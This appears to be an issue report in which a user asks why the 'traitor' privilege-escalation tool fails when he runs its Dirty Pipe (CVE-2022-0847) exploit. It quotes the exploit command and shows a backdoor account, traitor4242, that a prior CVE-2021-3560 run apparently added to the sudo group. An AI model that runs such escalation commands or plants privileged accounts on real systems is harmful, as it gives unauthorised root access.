Exploit CVE-2022-0847 terminates with error

Hi,

I am using the command: ./traitor --exploit kernel:CVE-2022-0847

It seem to work, but terminates with an error: [+][error] Exploit failed: invalid password (see below).

In /etc/passwd: traitor4242:x:1001:1001:CVE-2021-3560,,,:/home/traitor4242:/bin/bash In /etc/shadow: traitor4242:!:19092:0:99999:7::: In /etc/group: sudo:x:27:thomas,traitor4242

Is there a reason, why it terminates with an error ? Thanks for help Thomas
